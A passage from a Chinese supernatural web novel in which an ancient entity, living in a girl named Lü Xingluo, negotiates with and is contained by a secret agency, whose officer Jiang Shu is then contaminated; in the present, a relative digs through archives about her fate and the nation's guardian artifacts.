    等宁不喆从情绪中抽离，渐渐能理解她话语中的意思，南音笙才继续道，“大多数神秘衍生物的污染都不致死，但传播范围广且持续时间长。”


    “这是因为它们存在的目的，就是筛选成为异常后还能维持智慧的客体。”


    “这样讲你应该能理解吧，吕星罗就是极其符合条件的生物。所以我诞生了。”


    “但不知什么原因，吕星罗还是生物意义上的人类，对你们没有敌意。连带着作为她衍生的我，虽然有理智，却没有对人类攻击的欲.望，甚至没有传播污染的想法。”


    “宁老师，算起来我也才几岁，也没释放过污染，我们就不能好好相处吗。”


    宁不喆沉默了，通过传音设备和银戒知道这边情况的司仪部成员也沉默了。


    ......


    “我还是第一次听异常说自己年纪小，还没犯事，所以想被招安。”孟煜山理了理自己的衣袖，这是他思考时的习惯，“但它的危险评级确实是极低，队长，我们要怎么做？”


    他抬头看向设备前皱眉的妍丽女性，不确定地建议道，“我看它没什么危险，要不招安试试？”


    本来人类就没想也没办法对异常和神秘衍生物赶尽杀绝，所以面对能够交流的异常和神秘衍生物还算平和。


    当然，前提是它们没有伤害人类的倾向或意愿。


    姜殊闻言脸色却更难看了，丹凤眼她扫过孟煜山，“你是怎么通过考核的，拥有智慧的异常哪一个不是高危，与其考虑招安，不如考虑【它】能听见多少，我们的机密泄露多少。”


    训斥完，姜殊不再理会这位新队员，开始布置营救方案。


    宁不喆还在异常手里，且【吕星罗】疑似能凭空知道很多东西，代表他们营救人员和回收异常计划随时能泄露。


    所以最好的方案，其实是直接与【吕星罗】谈判，利用它明面上的无害，让宁不喆离开险地。


    如果运气好，还能让它主动进入监天局封锁。


    之后他们自然能与它好好讨论所谓的“招安”。


    但不等她实施计划，传音设备里再次响起【它】的声音，如在耳边。


    “司仪部考虑好了吗？其实直接让我去你们的总部也不是不行，但吕星罗是生物意义上的人类，她还有父母，记得不要让她的父母起疑。”


    司仪部众人的讨论声滞住。


    寒气爬满孟在场人的脊背，他们眼神惊恐地去看队长，却发现顶梁柱的面色同样凝重。


    几秒后，姜殊要来一部新手机和不记名电话卡。


    拨号——宁不喆。


    南音笙其实不知道对面有些什么人，在做什么事。


    她只是猜测司仪部不可能放心让宁不喆一个人接触异常，同时向宁不喆施加心理压力。


    没想到她语音不详地警告过后，不到一分钟，宁不喆的手机就响了。


    “祝你~生日快乐~，祝你~健康平安~......”


    喜庆的铃声回荡在空旷寂静的音乐室，宁不喆却因为刚才的警告，不敢有多余动作。


    “宁老师，接通吧。”


    宁不喆一抖。


    身旁的“人”还维持着生硬诡异的笑，无光的眸子一眨不眨，她不过是稍微注视，就感觉自己即将坠入深渊。


    也许是太恐惧，宁不喆感觉明亮的音乐室有一瞬间陷入漆黑。


    “星..小...星星...”她挤出一个笑，“老师相信你不会伤害我们，对吗？”


    最后两个字还带着微不可查的颤音。


    宁不喆知道这个手机铃声对面代表谁，所以在意识到面前“人”的危险后，想要提前争取些善意。


    毕竟，无论是事实还是吕星罗的话语中，都能感受到【它】其实对自己有一分亲近。


    南音笙没有回答。


    反正宁不喆一定会接电话。


    而电话接通后，宁不喆还没来得及说话，对面就传来威严的女声，“徐计，把电话给吕星罗。”


    徐计，宁不喆的假名。


    不等她反映，南音笙先一步接过电话。


    “你好，我是吕星罗的第二人格，你可以叫我星罗。”


    “您好，我是司仪部姜殊，钦天鉴欢迎您的加入。”


    南音笙这次是真的笑了。</p


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    刚诞生不久的神秘衍生物和异常，对人类世界懵懂茫然，某种意义上，和真正的幼年生生物很像。也意味着，很好忽悠。


    哪怕她表现出威胁性，对于有些底蕴的监天局来说，也可以先试探她对人类社会的了解程度，诱哄、引导之后，再好好谈条件。


    但姜殊却没有丝毫侥幸，以平等的态度和她对话。


    这代表着，现在监天局的解密人，比现实世界真实时间段的解密人更谨慎。


    也代表着，现在的监天局，底蕴欠缺。


    但是...钦天鉴？


    什么钦天鉴？


    南音笙有什么问题都是直接问的，她也不打算营造一个全知全能的人设，【吕星罗】身上的天赋不够。模拟中，用能量维持人设也不划算。


    而且如果她表现得太有威胁，姜殊等人为了以防万一，连试探都不试探...


    她怎么取信于人，官方怎么敢信任她。


    “姜殊，钦天鉴是什么？你们不是监天局吗？”


    “监天局？”电话对面，司仪部队员相互对视，莫名松了口气，“我司自先秦创立，延续到今天，一直都名钦天鉴。”


    “司仪部隶属钦天鉴，星罗随时能入职。”


    对面人没有揪住她的漏洞不放，也没有其他试探，但南音笙想要传出的消息已经给出了，接下来直奔主题。


    “姜殊，吕星罗是个好孩子，她知道我的存在，也是她要求我去‘报效家国’，所以我想入职。”


    “我要怎么做？”


    南音笙是真的想加入现在的监天局。


    通过手机上的时间，南音笙意识到现在是真实时间往前的27年，连手机也是按键机。而神秘开始苏醒的时间，是现实世界23年前，也就是现在的4年后。


    其标志为——【世界之音】诞生。


    有什么，是比新生神秘更好的食物？


    所以她需要监天局的帮助。


    在【世界之音】诞生时，及时通知她，让祂在尚且弱小时，成为真正的盘中餐。


    南音笙眼里燃烧着势在必得，但无论是宁不喆，还是电话对面的司仪部成员都一无所知。


    “如果星罗不介意，我们会派人来接您。”


    “但是有一件事，星罗应该知道。”姜殊停顿两秒，“公职人员有严格的政审要求，而异常几乎不符合任何职位的审核条件，因此您的入职流程会稍显繁苛。”


    南音笙不管这是试探还是提前预防，毫无意义的接受了她的说法。


    电话一直没有挂断，等坐上钦天鉴的密闭车，南音笙才看见一直以来的通话对象。


    她穿着厚厚的黑色套装，从头到尾没有一丝皮肤外露。


    这辆车车厢内只有她们两人，姜殊率先伸手，“星罗你好，我是司仪部姜殊，接下来为你讲解我司基本情况。”


    她在等，等南音笙握上她手的瞬间，利用神秘衍生物【006】将其封锁回收。


    研究部最高科技的车内，几乎完全隔绝污染外流，而沿路交通在电话响起的那一刻受到管制，现在沿路空无一人。


    他们不确定【它】能听见多少东西，也不确定【它】听见的东西是否由距离决定。


    为了保护钦天鉴内的机密，所有人员讨论后的最终决案，是在这块空路上回收异常。


    异常不可信，神秘衍生物不可信，唯有人类才是人类的后盾。

 43.蓝色火焰

    虽然但是，南音笙有些疑惑。


    说现在的钦天鉴不够谨慎吧，他们能做到始终不放松对她的警惕。


    说他们考虑全面...看着面前全副武装的人形，这不是把警惕摆在明面上吗？


    还是说，现在的监天局，或者说钦天鉴，连专门与信仰和神秘相关物品打交道的司仪部，都没有足够应付神秘衍生物和异常的经验？


    南音笙一默，意识到自己忽略的点。


    为什么出现异常情况，钦天鉴派来的人隶属司仪部，而不是星辰司。


    姜殊见南音笙沉默着没有动作，自然而然地放下手，坐到【它】身旁，仿佛回收【它】的行动从未实施。


    待她心中过了一遍事先整理好的台词，准备大致讲解一下钦天鉴内的职务，就听身侧的开口，“姜殊，你们为什么是司仪部？”


    姜殊不解，但她没想过理解非人的逻辑，飒爽笑道，“因为我们最初志愿是司仪部。”


    但接着，她就听见身侧的人平静询问。


    “日常异常处理，属于星辰司职能范围，为什么发现‘我’有问题后，却是司仪部负责试探？”


    “从‘东门出’开始，为什么一直是司仪部负责。”


    【它】连音调都不曾改变分毫，她的心跳却于毫秒间纵跃人间和深渊。


    姜殊还维持着笑脸，但已经有明显僵硬的痕迹了。


    “星罗知道很多。”


    南音笙感知到她割裂的笑颜和警戒的内心，没等姜殊解释，主动做出握手的动作，“你不想解释就算了。”


    姜殊一点犹豫都没有，大人的手与女孩的掌心交握。


    附着在隔离服上的黑色接触到鲜活的血肉，流水般贴近南音笙衤果露在外的皮肤。


    南音笙没有制止。


    黑色逐渐从隔离服上褪去，迅速占满南音笙整个手掌，长袖衬衣遮挡的手臂，肩膀，锁骨，颈部......


    它在人类的眨眼间漫上南音笙脸颊，接触到透及灵魂的眼睛。


    “......”


    【黑色】与车厢内的空气一同凝固。


    南音笙心情其实不错。


    她很喜欢附着在她身上的额【黑色】，它散发着一股若有若无的清香。


    她也很喜欢姜殊，她身上的气息似曾相识。


    南音笙突然有一种冲动，去现实世界寻找姜殊的信息，吞噬【黑色】本体。


    对于现在时间的钦天鉴来说，【黑色】一定及其重要，但是对现实时间的监天局，【黑色】未必不可代替。


    而现在，就让钦天鉴回收吕星罗好了，封锁一段时间，钦天鉴对她的警惕应该会降低不少，以后合作也更容易达成。


    南音笙侧头注视因本能恐惧屏住呼吸的姜殊，高居虚无之地的神秘凝神注视让祂倍感熟悉的人类，透过厚重的防护服，记住了她的面孔


    随后缓缓闭上眼。


    于是封住的黑色再次流动，彻底覆上自称【星罗】的神秘衍生物。


    车停了，一套比之姜殊身上更加厚重的纯白隔离服将【它】完全套住，像是被多层石膏封印的珍品。


    空旷的公路上，许许多多或大或小的仪器围着中间的车辆滴滴作响，经过两小时的测试和演算，确认安全。


    车厢打开，禁止发言的姜殊跨下车。


    [回收【它】的记忆如在眼前]


    按照流程，即使确认所在封锁车厢无污染外溢，执行人员也必须独自在可观测的空旷空间静待至少一个小时。


    [【它】知道很多，钦天鉴，司仪部，星辰司，隐藏身份的队员和他们的神秘向]


    姜殊在仪器中又待了一个半小时，没有任何仪器响动或发亮。


    她收到允许，离开那一小片区域。


    [那是一双平静的眼睛，黑色因祂停滞不前]


    姜殊往前走，视线范围内有三辆全封闭的车，两辆车内坐满接送和临时监察她的随行人员，中间的车辆只剩下副驾驶座。


    副驾上的安全带换成加强版束缚绑带，副驾前方是全方位录像传输设备，将她的表情和动作全方位传递给其余人员。


    后车厢是各种敏感且昂贵的仪器。


    驾驶位上是她第二看好的下属。而驾驶位和副驾驶位中间完全隔绝封闭，并且除去后视镜周围的隔绝材料透明外，其他隔绝材料都为纯色，不透气，不透光。


    下属固定好她，车辆启动。


    按照流程，她进入第二段观察期，允许发言，且必须主动描述此次回收情况，在驾驶人员叫停前，至少描述三句。


    [祂太平静了，如慈悲众生，万事万物皆为所允]


    即使允许开口，坐在行往总部车辆副驾上的姜殊还是沉默着，引得开车的下属频频抬头，利用后视镜观察副驾的身影。


    “姜副？”


    他是她一手带出来的，因为对她的担忧和信任。


    他违规了。


    下属的声音透过传声器在副驾驶位所在空间响起。


    姜殊从思绪中抽离片刻。


    她很确定自己没有遭受污染，之所以表现异常，全因这次尝试接触祂，耗尽了她的心血。


    但不说点什么，违规太过，所有人都会误会。


    “【它】太平静了。”


    下属握紧方向盘。


    “星罗太平静了，祂没有悲伤和愤怒，连真正的情绪也没有。”


    “姜副，我们没必要研究神秘衍生物的心理，您不要开玩笑。”


    二次违规。


    姜殊盯着后视镜，从她的视角，看不见后镜子内的司机。


    但驾驶位上的下属却可以通过后视镜看她，频频上望的眉眼间必然是显而易见的担忧和惶恐。


    他应该会和镜中的她偶尔对视，但他又会极快移开眼睛。


    [那不是人类的眼睛，祂看透了我，解剖了我的思想和灵魂]


    [黑夜静默]


    驾驶员有一瞬间的滞愣，但他很快反映过来，移开后视镜中对视的双眼。


    任务中，不能像平时一样分心。


    姜殊说了两句话，面色平静，内里的灵魂却疲惫至极。但她还想多说说与祂相关的话，让更多人了解祂，认识祂......


    但他们违规了，第二观察阶段，只要她再多说一句不符合自身性格的言语，驾驶员就会按下门与驾驶座中间的按钮，整辆车急停封闭，预示车内观察人员遭受污染。


    “回总部再说。”她轻叹。


    如果不出意外，【它】早在一个小时前被运到总部地下室封锁区。


    [祂会安静沉睡，赐予所有人一晚浓稠的夜]


    按照规定，他们违规两次，一个月内禁止进入总部，三辆车会驶入第三阶段观察室。


    [那是一双平静的夜晚，人类于黑夜中安眠，如同母亲的怀抱]


    没关系，休息两天她就不会这么累了。


    姜殊想。


    钦天鉴现有的检测措施还是有太多亟待完善的地方，如果身先士卒的指挥人员即使在检测中也有话语权，如果发现问题


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    后她能第一时间告知外界的同事，如果后续检查流程不需要这么多时间，如果......


    [那是母亲包容的缄默]


    好累，似乎有什么吸干了她的脊髓和脑液。


    姜殊脑海里一刻不停地回忆与祂相处的记忆。


    车停了，其余两辆车内的人本该安静待在车内，现在却违规下车，沉默地抵住他们的车门。


    他们违规了。


    姜殊想。


    [黑夜静默，会赐予我等安眠]


    她贴近发声口，沙哑着嗓子，汲尽灵魂至躯体所有的能量开口。


    “我们终将回归黑夜的怀抱。”


    车辆遭到重击，后车厢昂贵且精致的仪器安安静静，但车辆却遭到重击。


    车窗不知何时完全遭到封闭，挡风板都变成黑色。


    但她隐隐约约感受到外界的气息，越来越斑驳的人气打乱本该舒缓的夜。


    姜殊努力扭头去看驾驶坐上的下属，束缚会连她的颈脖也禁锢住，不能挪动分毫。


    她必须去接触驾驶座上的下属，这里只有他有与外界联系的准许。


    本该作为监督的人员违反规则，他们在所有人都不知道的时候遭到污染。


    她没没收到污染，但他们却下车了。


    检测仪器没有反应，但他们却封住了下车的路。


    她需要他尽快联系外界，联系钦天鉴，为了民众的安全，哪怕死也要把消息传出去。


    咔塔一声，总承重3000㎏的束缚带层层断开。


    混沌间，密闭的空间洞穿。


    姜殊撕开厚重的遮挡物，对上下属苍白的脸。


    这张脸上布满泪痕。


    他在哭，泪入泉涌。


    姜殊的灵魂声嘶力竭，一会让他快跑，一会命令他尽快联系外界。


    肉.体上的嘴却融化凝固般，不发一言。


    “姜队...”


    下属的眼睛里倒影着姜殊狰狞的面孔。


    她的脸部肌肉错乱，青紫的筋和血管外翻。眼球融化，嘴唇和皮肤相连，成为封住口鼻的蜡。


    他脑海里突然闯入后视镜中看见的眼睛。


    那是姜殊尚且清醒时的眼睛。


    [那是一双平静至极的眼睛，仿佛沉默才是理所当然]


    下属定定看着自己的队长，钦天鉴司仪部的副部，本该前途无量的领路人。


    他忍受着撕裂般的头痛，一字一顿，试图唤醒她的神智。


    “队长，你被污染了。”


    “队长，我们都被污染了。”


    姜殊什么都没有做。


    她只是想让驾驶员联系外界，解决违规的监督人员。但驾驶人员很显然不能再担此重任。


    她该奋起反抗，将所有违规人员就地捉拿或击毙...


    但不知道为什么。


    姜殊左手握拳，猛地打向自己的太阳穴。


    重击下，她眼前模糊不清，一切都如水中倒影。


    下属似乎在说什么，但是声音遥远朦胧。


    姜殊不知道为什么自己的肢体会有一瞬间的不受控制。


    她强迫自己冷静，迅速清醒，尽快击杀外界受污染人员。


    但有谁...


    有谁扣住她的腰，制造出一个窒息的拥抱。


    她的世界于刹那间陷入黑夜。


    意识逐渐迷离。


    它越飘越远，越飘越远...


    在彻底踏入静默的深夜前，一抹蓝色的火苗灼上她的眉心。

 44.也许

    南音笙在家里睁开了眼睛，自从获得世界的“合法身份”后，她已经不需要血池这个媒介，可以直接从虚无之地返回。


    现实时间才流去一瞬，外界灯火斑斓，别墅外是散步遛狗的人家。远处更是热闹的胡同和商街，敏锐的感知中，嬉闹火热的人潮如在眼前。


    南音笙透过窗户看了看远处的风景，又低下头拿起手机，翻出南赴栢的电话。


    嘟嘟两声，对面传来充满活力的惊呼，与宿白如出一辙。


    “喂，小笙！您有什么事吗！”


    他才离开这位祖宗家不久，难道她还能想他？


    这个猜测过于惊悚，南赴栢差点维持不住人设。


    “来我家一趟。”说完，南音笙也没有像往常般直接挂断电话，而是收了声，等南赴栢的回应。


    见证了宿白的闹剧，南音笙确切地感受到自己与现实世界的疏离。


    然而没必要。


    她没必要因客观和主观的原因封闭自己。


    世人都是她生命中的过客，担忧过客绊住前进的脚步，全是自己不够坚毅。


    因此南音笙决定打破世界与自己之间的隔膜。


    既然南家小辈亲近自己，那就去感受后辈的关爱。


    既然南赴栢说过有事找他，她也没必要有什么事都自己想办法。


    “小...小笙，好啊，我马上到。”


    南赴栢等了几秒，见电话还没有挂断，也没有传出声音，试探道，“...再见？”


    “再见”


    电话挂断。


    ......


    南赴栢来得很快，不到二十分钟就偷偷溜进了别墅区，敲响了南音笙的家门。


    他是真的很急，如果不是为了他在外的鲁直形象，在挂断电话的那一刻就会靠着异常直接来到宜滕局。


    等到他坐到南音笙对面，下意识露出一个憨憨的笑，想要询问有什么事。


    就听板上钉钉的老祖宗问，“现世纪神秘初现的时间，真的是二十三年前吗？”


    如果是二十三年前，那二十七年前，【吕星罗】怎么会遭到司仪部的严防死守。


    焦躁的情绪跃入深潭，南赴栢一下子就清醒了。


    “官方记载是二十三年前，【世界之音】初诞。”南赴栢回忆自己知道的情报，“但五十年前监天局新立，起名钦天鉴时就成立了司仪部，专门针对非法信仰组织和...信仰本身。”


    信仰本身，也就是神秘。


    南音笙抬眸，注视着一遇到专业问题就变得靠谱起来的南赴栢，“司仪部姜殊，她的信息。”


    “司仪部？”南赴栢仔细核对了自己的记忆，“姜殊是涿州监天局研究部部长，主科研。同时负责监视研究部首席研究员兼研究部医疗区主任医师，吕伊伊。”


    南赴栢“小心翼翼”，“怎么了...小笙。”


    二十七年前就职司仪部，怎么可能现在就职研究部。


    要知道研究部，哪怕是部长，也需要有几十年的专业知识支撑。


    “她的神秘向是什么。”南音笙蹙眉。


    南赴栢犹豫了一秒，“【凤凰泣】，昆山玉碎，乐之极哀。”


    “所有听见她吟唱的人都会发自本能的悲伤，甚至悲伤到失去行动能力。”


    他隐瞒了一点消息。悲伤到失去行动能力只是【凤凰泣】的其中一项表现。另一种表现为，极度仇恨让【凤凰泣】主体，也就是姜殊悲伤的存在。


    如果姜殊愿意，听见她声音的人大多会成为为她冲锋陷阵的傀儡。


    她是函夏境内于【音】上，最资深的解密人。


    南音笙不在意南赴栢有没有隐瞒，她只是从神秘向里确认了此姜殊非彼姜殊。


    二十七前，独自面对【吕星罗】的姜殊从未使用过相关能力。


    为什么她会感觉姜殊如此熟悉，还想要亲近她呢？


    南音笙想要找出答案，她的感受高于一切。


    “二十七年前，任职涿州钦天鉴司仪部，且职位不算低的解密人，姜殊。”


    “她现在在哪？我要知道她的信息。”


    “抱歉。”南赴栢感到压抑，“我之后会去查。”


    “还有纯黑色的异常，拥有和封锁类似的效果，可以回收异..不对，可以回收神秘衍生物。”


    南音笙缓下声音，“之后再去查吧，我只是想知道答案，时间不急。”


    南赴栢点头前，南音笙塞给他一个橘子，试图缓解他本能的紧张。


    “不用担心我会伤害函夏，我会是这里的居民。”


    有【隐秘之石】和【君主许诺】，哪怕不动用权能，她也不会被函夏镇国器发现。


    得以安居，不受骚扰。


    同时，她也不会做出有害函夏的事，自找麻烦。


    思及此，一个问题冒了出来，“函夏镇国器是什么时候出现的？”


    二十七年前，看司仪部等人的反映和使用的科技，没有一点镇国器的影子。


    现实世界里有【隐秘之石】，镇国器发现不了她的踪迹。


    但三十多年前，【吕星罗】带着【天赋——截断】出生，居然没有第一时间被缉拿。


    “官方记载是一直存在。”南赴栢确实没有之前紧张，但却忍不住有些尴尬。


    毕竟他现在就职监天局，揭露监天局的薄底，多少有些奇怪，“但镇国器苏醒是在二十五年前。”


    既然说都说了，南赴栢干脆摊牌，“函夏新国成立不到百年，因为战乱很多资料遗失。加上往上近千年都是神秘沉睡期，所以最开始对异常的研究相对落后。”


    “五十年前才重新成立钦天鉴，并且内部事宜更改。”


    “二十五年前启用镇国器和蓝焰，使得家国有了一份保障。”


    “也是因为动作够快，不然二十三年前【世界之音】初现，函夏不会有多少幸存者。”


    “xi...音笙，其实函夏挺好的，比战国时候好了不知道多少倍。”


    南赴栢真心实意，“还好你肯定不会危害社会，不然这些都不敢告诉你。”


    南赴栢还是有点真实在身上的，不然在外的形象也不会一成不变。


    南音笙感受到他身上熟悉的，惹人生气的能力，露出一抹浅笑。


    “镇国器是什么？书？”


    感受到对面“人”心情的转变，南赴栢胆子回来了，眨眨眼“不知道。”


    “函夏镇国


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    器具体是什么，完全不知道。”


    “只知道镇国器本器现在在三秦，且镇国器不是一件，而是两件。”


    “除去三秦监天局总负责人兼星辰司司长师蔲，三秦夏历司司长赵鹉和他的姐姐，三秦司仪部部长黎期外，只有涿州监天局总负责人孟煜山有资格接触镇国器。”


    不等南音笙疑惑，他补充道，“虽然涿州是函夏首府，但是监天局总部却是三秦。很多借调去三秦的优秀解密人，其实都是以借调的名义提前熟悉三秦流程，最后会被分入三秦监天局。”


    “至于为什么三秦才是监天局总部...家里曾经猜测过，因为镇国器就是在那发现的。”


    “而且函夏在镇国器上，对我们家有些防备。”


    南赴栢笑得傻气，“严防死守，像是只要我们知道镇国器是什么，就一定会有问题似的。”


    “小笙，你为什么认为镇国器是书。”


    为什么？


    当然是因为她有一本与镇国器所含用途相似的书。


    南音笙思绪纷飞。


    系统给出的“奖励”中，【新酿酒】被【酒鬼】寄住，因为他曾经的住所，真的就是“新酿酒”，由荷死前酿造埋藏的酒。


    【族谱】给了南家，但南家其实有一本一模一样的“族谱”，只不过少了雅南的记载。


    【隐秘之石】，来源于南家族地用于封锁的镇宅石，如果能仔细寻找，说不定能在族地处发现一模一样的惊喜。


    【牛车】是雅南的坐骑，因为天赋【午夜梦回】，被她的气息浸染，成为神秘衍生物。而【牛车】的主体【老黄牛】显然认识她这个主人，并且没有南梦之后的记忆。


    【君主许诺】是南家在战国时期，权利和地位的具象化。世家大族，朝堂上传世的九卿，神秘侧的魁首。


    这些“奖励”，要么在现实世界有一模一样的死物原型，要么是从时间中走出来的活物，要么是无形能量的具现化。


    以此类推，【雅南书】的原型是她作为雅南时手写的志怪录。


    是死物。


    所以现实世界必然存在一本一模一样的【雅南书】


    好巧不巧，【雅南书】的作用有五点，与镇国器相似。


    1：自动收录函夏境内非神秘非人生物


    2：出现高危异常及高危衍生物时，对持有人预警


    3：镇压记录在册的神秘


    4：链接25位异常交流、交易


    5：献祭能量，驱使书册已收录神秘。


    最微妙的地方在于，“我有一本书，和镇国器的功能很像。”


    南音笙回答南赴栢的疑问，“我的陪葬，当年亲自带着它入棺。”


    南赴栢的笑容僵住了。


    如果是真的...


    函夏可能，大概，也许，差不多，极大概率...


    挖了一位现存神秘曾用容器的坟冢。


    南家祖宗的墓。


    但函夏有两件镇国器，如果其中一件是【南家祖灵】，也就是【夜灵】的陪葬品。


    那另一件是……


    是…什么呢？


    不会吧？


    和陪葬书一起的……


    不会吧？

 45.南赴栢

    南赴栢马不停蹄的回去找消息。


    他不是信仰坚定的人，但是血脉源头来源于神秘是不可更改的事实。


    而函夏挖了他们祖宗的墓，还瞒着南家后辈...这件事终归在他心底留下涟漪。


    如果函夏直接告诉他，在遇到南音笙前，他说不定还会帮忙掩盖这个事实。


    但南音笙现在不需要南家人为容器，所以事情就变得格外微妙。


    他们应该…


    不，是必须站在南音笙背后，让因血缘而起的不可解除关系更加牢不可破。


    所以哪怕南音笙告诫他这些都无关紧要，并要求他不告诉家中长辈，南赴栢这段时间面对同僚还是沉默寡言许多。


    与他交好的涿州星辰司司长杨家齐以为他生了病，还在劝他多休息。


    “赴栢，要不你休息两天吧，黑眼圈都出来了。”看着南赴栢眼下青黑，杨家齐拍拍他的肩，“有什么事，哥随时能帮忙。”


    南赴栢从厚重的资料中抬起头，嘴角诺诺张阖，最后只是长叹一声，埋头苦找。


    监天局真正的重要资料全都集中在夏历司，或者说夏历司任职人员的脑子里，绝对不会留下任何物理资料。


    但南音笙想要找的姜殊是二十多年前司仪部的队员，既然如此，这些不重要的任务档案里，一定会有她的相关信息，积少成多，总能勘破姜殊的经历。


    而南音笙想要找的纯黑色的异常，南赴栢记忆里几乎没有。


    要么是它无用低危，要么是它消失在了历史中。当然，还有一种可能，它的权限极高，连南赴栢都没有权限查询。


    如果是最后一种可能，贸然询问其他人员说不定会引起疑问和警惕...这些都是没有必要的麻烦。


    所以南赴栢选择先找找资料，看能不能有些蛛丝马迹。


    而往前三十年，虽然已经开始使用网络和计算机，但档案中的记录总是没有纸制资料详细。南赴栢这几天任命般专注在一堆一堆厚重的文件里。


    南音笙说不急，不代表他真的能让她慢慢等。


    他可以任性，偶尔叛逆，但绝对不能无能且狂妄，将神秘的要求置之不理。


    杨家齐见南赴栢不说话，也不生气，只是坐在他对面，随手拿起一份资料，发现是一份即将封档的文件。


    《041神秘衍生形拟态人类观察报告》


    目标名称隐去，监测原因隐去，监测结果中涉及神秘向和污染部分隐去，只平铺直叙地留下对“拟态人类”的日常行为描述。


    显然，这是夏历司传到档案室的日常学习类文件，每三十年集中销毁一批。


    杨家齐看了眼报告留档时间，距今刚好三十年，今年年底就会销毁。


    “赴栢，你想找什么？”杨家齐放下资料，语气中有些惊奇，“不久后会出新的学习文件，内容会跟贴近，也更典型，但你还需要这些？”


    南姓世家，世家。


    南赴栢的启蒙资料与他们现在的学习文件一般无二，甚至更为隐秘。


    历年来，都是南姓子弟帮助监天局新增隐秘，什么时候出现过南家人拿着监天局资料不放手的盛景。


    “秘密。”南赴栢没抬头，声音半死不活。


    “啧啧，你居然还有不愿意说的话。”南赴栢被三秦监天局总负责人师蔲引入涿州时，接待的人就是他。之后一段时间，也是他带着南赴栢熟悉各项工作流程。


    杨家齐还记得他询问过南赴栢为什么加入监天局，本以为会是涨见识，尝试不同生活之类的回答。


    结果南赴栢大大咧咧道，“我想找个办法让【夜灵】醒不过来，师蔲说监天局可以帮忙。而且你们有监察神秘的习惯，跟着你们能得到【夜灵】的第一手消息。”


    当时三司两部高层聚会，增进同伴情谊。


    南赴栢话一出，火热的气氛骤然凝固，每个人都心脏发颤，脊背发凉。


    他当时嘴里阵阵地冒苦，恨不得扇自己两巴掌，把问出的话打碎。


    想到往事，杨家齐又拿起那份《041神秘衍生形拟态人类观察报告》看了起来，掩饰只有他一人感受到的尴尬。


    谁知道南赴栢听进了他的感慨，道，“也不是不想说，你实在要听...我现在给你讲讲。”


    一瞬间，南赴栢情商堪忧，边界缺失的回答在杨家齐脑海里翻滚。


    他不想听，他什么都不想听。


    “这个任务孟局参加过。”


    杨家齐咦了一声，指着手上的文件。只有有眼睛的人都知道他在转移话题。


    “当时孟局还在姜队长手下做事，据说这个任务很惊险。”


    【姜队长】


    南赴栢从文件堆里探出脑袋，随意瞥了眼文件名又探了回去。


    他的语中还带着疲劳的颓气，显得格外散漫，“怎么惊险？”


    见南赴栢没有继续先前的话题，杨家齐松了口气，心情放松地接话。


    “041是神秘气息浸染的神秘衍生物，当时所有参加任务的人都被污染了，直到两年后才发现。监天局差点全军覆灭。”


    南赴栢的眼睛离开文件，看向杨家齐，显然对此有了兴趣。


    “知道【蓝焰】吧，它的原型就是那次任务负责人的神秘向，也是从那个时候开始，我们有了完全阻断尸.体污染的办法。”


    【蓝焰】——火化解密人尸体，烧剿受到不可逆污染的同胞，阻隔危险的最后一层防护。


    南赴栢当然知道，并且好奇地真心实意，“那位负责人现在在哪个部门，怎么没听说过？”


    “姜队长在二十五年前就牺牲了。”杨家齐感慨，“据说【蓝焰】里还有姜队的微弱意识，可惜这都是不靠谱的猜测。”


    “姜队长，姜殊，牺牲前两年才破茧为解密人，不到两年时间，想要把意识融入神秘向，太难了。”


    “两年？她才上任两年就是队长了？”


    “哪能啊，二三十年前监天局多寒酸你又不是不知道，解密人少得可怜，还都在观察和培养当中，普通人才是主力。”杨家齐晃了晃手上的文件，“姜队长还是因为这次任务破茧，孟局说要不是【蓝焰】来得及时，当时在场的人一个也活不了。”


    “真惊险。”杨家齐感慨，“以当年的死亡率，我要是早生一二十年，估计也能早死投


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    胎，和你做一对兄弟。”


    南赴栢眼角一抽，笑得真诚，“是可惜，我还挺想让你做我弟弟。”


    虽然他的母亲只想要一个孩子，怀上了也不会生，只会把老爹揍到半身瘫痪。


    “所以那次任务到底是什么？”没管杨家齐被噎住的神情，南赴栢转回正题，“那位姜队长能在任务中直接破茧，说明污染很强，但为什么两年后才发现其他人被污染了？”


    杨家齐回忆，“孟局说，当时他们都以为姜队长是被【006】污染了，没想到已经被回收的【041】身上，后来...好像就失去了【041】的消息，只是涉及人员及其接触过的普通人都进行了一次检查。”


    “可怕的点在于，所以检测人身上都有一层引而不发的污染，整个涿州都处在污染域。甚至这些污染可能已经辐射到整个函夏。”


    意识到了杨家齐口中的【041】是何方神圣，南赴栢缓缓眨了下眼。


    “真可怕啊。”他一点也不心虚，“后来呢？”


    “没有后来。”杨家齐放下文件，“孟局也不知道后续发展，也没有流传下来的文件，连夏历司方面都是一头雾水。”


    “【041】和它的消息，全都消失了。”


    “彻底消失。”


    南赴栢了然，又有些困惑，“所以...是【终焉】的人间容器？”


    杨家齐又拍了下他的肩，语气飘忽，“谁知道呢。”


    “既然你不需要帮忙，哥就走了，注意休息。”


    南赴栢反手抓住他的小臂，嘻嘻哈哈地追问【041】和任务相关，意外得到【纯黑】色异常的消息，这才满意地放走了杨家齐。


    又待了两个小时，南赴栢挨个放回所有资料，离开档案阅览室。


    直奔南音笙的住所。


    ......


    这几天南音笙过得很滋润，等消息期间，她偶尔进入虚无之地看看封锁中的【吕星罗】，其余时间就去“古传醇酒”坐坐，或者在手机上和三秦监天局的人聊聊天。


    是的，安康和言严又开始联系她了。


    他们大多时间都是发些普通的问候消息，偶尔传一些现实侧和神秘侧的常识资料，似乎是在弥补她未曾去监天局补课的遗憾。


    南音笙感觉两人突然和她联系有问题，但想了想，还是捡回了最初的伪装，在回言中保持礼貌且没有任何有用信息。


    黎期也开始和她联系。


    他的灵魂深处被打下烙印，尝试向外界示警失败后，走上了另一条路。


    类似于...奸佞的路。


    每天发三五百字的赞美小作文，早中午问好，时不时发些消息，问有什么是他可以效劳的...


    南音笙想起黎期成熟稳重的外表，感慨人不可貌相的同时，莫名对他多了些耐心。看心情回复些“嗯”，“知道了”，“都好”之类的消息。


    这天，南音笙回复完所有消息。坐在“古传醇酒”小店，吃着店员呈上的新鲜瓜果小菜，小酌特色香酒。就看见南赴栢踏踏踏地跑来，坐到她身旁，温润俊美的脸上挂着傻气笑脸。


    “小笙，我找到消息了。”